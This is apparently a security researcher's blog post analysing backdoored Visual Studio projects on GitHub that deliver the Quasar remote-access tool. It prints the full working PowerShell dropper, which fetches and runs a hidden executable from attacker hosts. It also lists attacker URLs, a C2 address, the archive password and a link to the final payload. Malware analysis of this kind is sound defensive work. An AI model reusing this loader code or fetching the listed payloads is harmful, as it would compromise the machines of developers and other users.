πŸ”’
theB10G
  • ⁉️Welcome/whoami
  • πŸ‘¨β€πŸ”¬Malware Analyst for a day
  • πŸ“§Spooky Scammers (Back for the holidays)
  • πŸ’°Hacking the Scammers
  • πŸ’°Systematic Destruction (Hacking the Scammers pt. 2)
  • πŸ€΅β€β™‚οΈSQL Injection in Security Cleared Job Site
  • ↩️XSS Security Policy Bypass
  • πŸ“ŠCraft CMS Unauthenticated SQLi via GraphQL
  • πŸ₯MISI Hack the Building 2.0 Hospital Edition
  • πŸ“”Booked v2.5.5/LabArchives Scheduler Vulnerability
  • πŸ΄β€β˜ οΈCTF Writ3ups
  • πŸͺ–ARCENT Best Cyber Warrior 2023
  • πŸ’΅Bounty Hunter Writeup
  • πŸͺ„Previse Writeup
  • πŸ‘ΎeJPT certification Review
  • πŸ”₯Sauna Writeup
  • πŸƒβ€β™‚οΈActive Writeup
  • 🚘Driver Writeup
  • ❌Trick Writeup
  • πŸ“ŠGraphQL Query Authentication Bypass Vuln
  • πŸ•ΈοΈeWPT Certification Review
  • β˜€οΈ2022 DOE Cyberforce Competition
  • ⛏️Data Mining CVEs and Exploits
  • πŸ’»eCPPTv2 Certification Review
  • Breaking GraphQL Presentation
  • Springshare LibApps Stored XSS
Powered by GitBook
On this page

Was this helpful?

Malware Analyst for a day

Reversing some backdoored Visual Studio projects

PreviousWelcome/whoamiNextSpooky Scammers (Back for the holidays)

Last updated 6 months ago

Was this helpful?

I was browsing Twitter (X) late at night and noticed talking about a user on GitHub with a bunch of interesting repositories, all Visual Studio projects that are backdoored.

Taking a look at this command being executed by Visual Studio we can see that it is putting a bunch of base64 encoded data into a vbs file, along with instructions to decode it.

The instructions then reverse the data put in and base64 decode it.

What we get from that is an interest powershell payload with multiple functions.

function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl

Yes, it's a bit gross but can simply be cleaned up but adding newlines after each semi-colon and separating the functions. With it a bit more readable you can see it is simple executing the 'rl' function, which sets off a whole chain of events. Instead of manually going through I decided to be lazy and do it dynamically using the following code:

function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20;
 rl } };
 
function p { param ([string]$e) if (-not $e) { return } try { 
$d = d -mm $e -k $prooc;
 #$r = Invoke-RestMethod -Uri $d;
 $r = "w5nDpMOWwqnCn3JifMKfw5fCtMOmw7DDhMKPwp7DhsKRW8OTwrrDgMKven57ZsKFa8KdwoHDs8Ovw5HCqcKqw4vCj8KRw7bDkMK8wo99wpvCm8KmfMKqw5PCrMOjw5zDlcOGwq7ChsKIwpvDtMOfw5zDkcKawpBnf8KZZ8OBwqXDn8Otw4XDicKBw4DCkMKgw6LDo8KewpnCsw==";
 if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString();
 Write-Host $g;
 $t = [System.IO.Path]::GetTempPath();
 $f = Join-Path $t ($g + ".7z");
 $ex = Join-Path $t ([System.Guid]::NewGuid().ToString());
 $c = New-Object System.Net.WebClient;
 #$b = $c.DownloadData($dl);
 $b = "blahblah";
 Write-Host "Data download";
 Write-Host $dl;
 Write-Host $f;
 if ($b.Length -gt 0) { 
 #[System.IO.File]::WriteAllBytes($f, $b);
 Write-Host $ex;
 e -a $f -o $ex;
 $exF = Join-Path $ex "SearchFilter.exe";
 #if (Test-Path $exF) { 
 #Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } }
 Write-Host "Starting process";
 Write-Host $exF; } }
 #}
 catch { throw } };
 $prooc = "UtCkt-h6=my1_zt";


 function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $d = New-Object char[] $s.Length;
 Write-Host "decoded string";
 for ($i = 0;
 $i -lt $s.Length;
 $i++) { $c = $s[$i];
 $p = $k[$i % $k.Length];
 $d[$i] = [char]($c - $p) };
 Write-Host -join $d;
 return -join $d } catch { throw } };
 $proc = "qpb9,83M8n@~{ba;W`$,}";


 function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $c = $s -split ' ';
 $r = "";
 foreach ($x in $c) { $r += [char][int]$x };
 return $r };


 function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw==";
 $p = v -i $s;
 $z = "C:\ProgramData\sevenZip\7z.exe";
 $arg = "x `"$a`" -o`"$o`" -p$p -y";
 Write-Host "Starting process";
 Write-Host $z;
 Write-Host $arg
 #Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait 
 };


 $d = "C:\ProgramData\sevenZip";
 if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null;
 $u = "https://www.7-zip.org/a/7zr.exe";
 $o = Join-Path -Path $d -ChildPath "7z.exe";
 echo "Download file";
 echo $u;
 echo $o
 #$wc = New-Object System.Net.WebClient;
 #$wc.DownloadFile($u, $o);
 #$wc.Dispose();
 #Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue;
 #Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue 
 };
 rl

This gave me the following output:

From this I was able to get that it reaches out to get 7-zip, if not already installed, and then downloads a 7zip archive from another attacker-controlled GitHub account, specified by the first link it decodes.

After downloading the archive it unzips it with the password 'hR3^&b2%A9!gK*6LqP7t$NpW' and executes the exe inside.

Along with this I also grabbed some of the other URLs it was trying for the link to the GitHub:

https://rlim.com/seraswodinsx/raw
https://pastebin.com/raw/yT19qeCE
https://paste.fo/raw/2b5182fbdbf2
https://rentry.co/srch-jswbeupntsvgvxp/raw

Attacker controlled GitHub and archive with payload:

https://github.com/VIPMARC383/AutoHotkey_L-Docs/releases/download/LL/SearchFilter.7z

This archive is interesting as it was executing a binary that then executed a Node.JS application.

I checked out the contents of the main.js file from the ASAR archive and you can tell its doing something fishy. Just take a peek:

But look at the size of the file and how obfuscated it is, and this is after putting it through a deobfuscator. I wasn't about to reverse this manually either, so I turned to any.run for analysis.

In the run you can see it executes a bunch and is pretty loud but it does some anti-debugging, mainly looking at what programs are running, and then tries to disable Microsoft Defender features. Following this is adds some scheduled tasks and drops some files.

From that run I found the C2 IP and port: 178.236.243.173:3473

I now wanted to look into this executable some more though. Luckily any.run allows you to download dropped files and so after downloading it I loaded it into Ghidra andddd....

Ghidra was lost. Luckily I noticed from this that the binary was a .Net assembly and I can use DnSpy to reverse it.

Plugging it into DnSpy you can tell its been obfuscated, at least all the variables, strings, and function names.

It took some digging to find where the magic was happening but I finally found a function doing some decryption of something, presumably the resource attached which seemed encrypted (resources are a common way to attach encrypted payloads to a loader).

After doing putting some pieces together, and compiling my own encryptor binary to generate the same key and IV, I was able to decrypt the resource attached.

The loader is decrypting this in memory and then executing it as to not drop it on disk for scanning.

And that is that. Thanks for joining me on this interesting journey in current adversary tactics and malware.

You can checkout the run

From this run I noticed it drops an executable, which I also did

Just from running strings on the decrypted binary I can see it is another .Net assembly and that it is a (a "Free, Open-Source Remote Administration Tool for Windows").

πŸ‘¨β€πŸ”¬
here.
a run on.
Quasar client
a post from @checkymander
1MB
decrypted-payload.zip
archive
Final Quasar payload (password is "infected")
The csproj file that contains the backdoor command (<Exec command=...)
Output from the above script showing the decoded data in plaintext
Base of unzipped archive
Recently modified resource directory (asar_unpacked was not present)
Contents of the unpacked ASAR archive
The main.js file contents containing strings mentioning powershell and WMI
Ghidra being confused with the binary
The binary plugged into DnSpy
A decryption function in DnSpy
The decrypted payload